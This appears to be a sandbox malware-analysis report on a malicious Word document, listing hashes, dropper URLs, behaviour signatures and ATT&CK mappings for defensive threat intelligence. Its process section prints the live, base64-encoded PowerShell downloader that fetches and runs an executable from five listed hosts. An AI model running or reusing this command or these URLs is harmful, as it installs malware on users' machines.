8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618

General

Target

8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618.doc
Size

218KB
MD5

cd176f635af723f2a7c9e515995ce72b
SHA1

4c1902b0f950928e40a58065b5498f1c41a3fbeb
SHA256

8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618
SHA512

68f27182c957f4e22ddb21fdcc3673a06c61da9ce462d0f0074516baff9a522f89ee6c9d6a3345c3a24b91f2d665ca85d202fded6e48fb0b645926c9c9c5f79d
SSDEEP

6144:CpL2k4otGiL3HJk9yD7bWDEj3iOERA+nLZByBW2Ufgl:+LxQitkI7bd

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://candsengg.com/wp-admin/ggn/

exe.dropper

https://evaskincomplex.com/wp-includes/B48dZmZ/

exe.dropper

https://florandina.com/wordpress.bk/lFu77Ma6/

exe.dropper

https://concatstring.com/__MACOSX/ByaZo/

exe.dropper

https://kashifclothhouse.com/wp-admin/3NLIj/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4864	444	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	4864	Powershell.exe
30	4864	Powershell.exe
33	4864	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4864	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4864	Powershell.exe
4864	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3876 wrote to memory of 3728	3876	WINWORD.EXE	84
PID 3876 wrote to memory of 3728	3876	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3876
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3728

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAG8AaQBiAGMAbwBwAGUAdgB1AD0AJwBHAHQAcwBhAHUAdgBzAGMAbgAnADsAJABOAGQAZQBqAHIAagBmAGoAZAAgAD0AIAAnADgAOQA3ACcAOwAkAFoAegBtAGMAYQBqAGgAagA9ACcARABvAGUAbgB1AHcAYgBtAGQAJwA7ACQATAByAHoAYwBuAHAAeABsAHIAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBkAGUAagByAGoAZgBqAGQAKwAnAC4AZQB4AGUAJwA7ACQAWQB5AHAAegBpAGsAbwBrAHAAdwB5AGEAPQAnAEQAYwBuAGUAbQBuAGsAbAAnADsAJABNAHgAbwBiAGcAbQBvAHMAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4APQAnAGgAdAB0AHAAOgAvAC8AYwBhAG4AZABzAGUAbgBnAGcALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGcAZwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQB2AGEAcwBrAGkAbgBjAG8AbQBwAGwAZQB4AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBCADQAOABkAFoAbQBaAC8AKgBoAHQAdABwAHMAOgAvAC8AZgBsAG8AcgBhAG4AZABpAG4AYQAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALgBiAGsALwBsAEYAdQA3ADcATQBhADYALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBjAGEAdABzAHQAcgBpAG4AZwAuAGMAbwBtAC8AXwBfAE0AQQBDAE8AUwBYAC8AQgB5AGEAWgBvAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AMwBOAEwASQBqAC8AJwAuACIAcwBwAEwAYABJAFQAIgAoACcAKgAnACkAOwAkAEUAdwBnAGEAdgBiAGEAdABjAGkAYQA9ACcAQwByAHkAcwB5AGQAbABmAG4AeABsAHEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQARAB1AGUAdwB0AHAAYwBlAHYAdQBqAG8AIABpAG4AIAAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4AKQB7AHQAcgB5AHsAJABNAHgAbwBiAGcAbQBvAHMALgAiAEQATwB3AGAATgBMAG8AQQBkAEYAaQBgAEwARQAiACgAJABEAHUAZQB3AHQAcABjAGUAdgB1AGoAbwAsACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkAOwAkAFIAeABpAG4AYQBhAHYAbQBlAD0AJwBOAHYAZQB5AHkAYwBkAGcAawBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkALgAiAGwAYABlAG4AYABnAFQASAAiACAALQBnAGUAIAAzADYAMQA1ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQByAFQAIgAoACQATAByAHoAYwBuAHAAeABsAHIAcgApADsAJABOAGoAcQB5AHYAawBiAG4AcwA9ACcAWgBuAHoAdgBoAGUAdQBlAGoAJwA7AGIAcgBlAGEAawA7ACQAQQBvAHoAagBuAG4AZAB2AGQAYwB3AD0AJwBRAGUAbwBqAGQAbgBhAGMAYwB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAbABkAGgAdABxAGMAcwB4AGkAYgA9ACcAWABvAGoAeAB5AGIAYwBpAG4AZQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\62649032.wmf

Filesize
444B

MD5
d93541a88dd77268b00d6a831bf4cdec

SHA1
d14f0fca861735402237962c8ab4b639a0c0c6db

SHA256
366f792574116a39db763176abd3f2cc1860bab3e51e707b965ac36e64a05fbe

SHA512
6c4e42600c484b729bfe75f72794c3bf70f1b0d9d58745463be3c0e30d8089fc982ba2a675d1693a0de5dbabf3321bc0ed85e31eb16d009d1d59309ba6032b29

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDBB39.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dpkfvcbt.b4l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/3876-18-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-5-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

Filesize
64KB

Download
memory/3876-10-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-13-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-12-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-11-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-14-0x00007FFB1ED00000-0x00007FFB1ED10000-memory.dmp

Filesize
64KB

Download
memory/3876-9-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-17-0x00007FFB1ED00000-0x00007FFB1ED10000-memory.dmp

Filesize
64KB

Download
memory/3876-16-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-1-0x00007FFB60F0D000-0x00007FFB60F0E000-memory.dmp

Filesize
4KB

Download
memory/3876-15-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-8-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-7-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-6-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-4-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

Filesize
64KB

Download
memory/3876-2-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

Filesize
64KB

Download
memory/3876-0-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

Filesize
64KB

Download
memory/3876-3-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

Filesize
64KB

Download
memory/3876-79-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-80-0x00007FFB60F0D000-0x00007FFB60F0E000-memory.dmp

Filesize
4KB

Download
memory/3876-81-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-82-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/3876-83-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

Filesize
2.0MB

Download
memory/4864-62-0x000001314E9F0000-0x000001314EA12000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads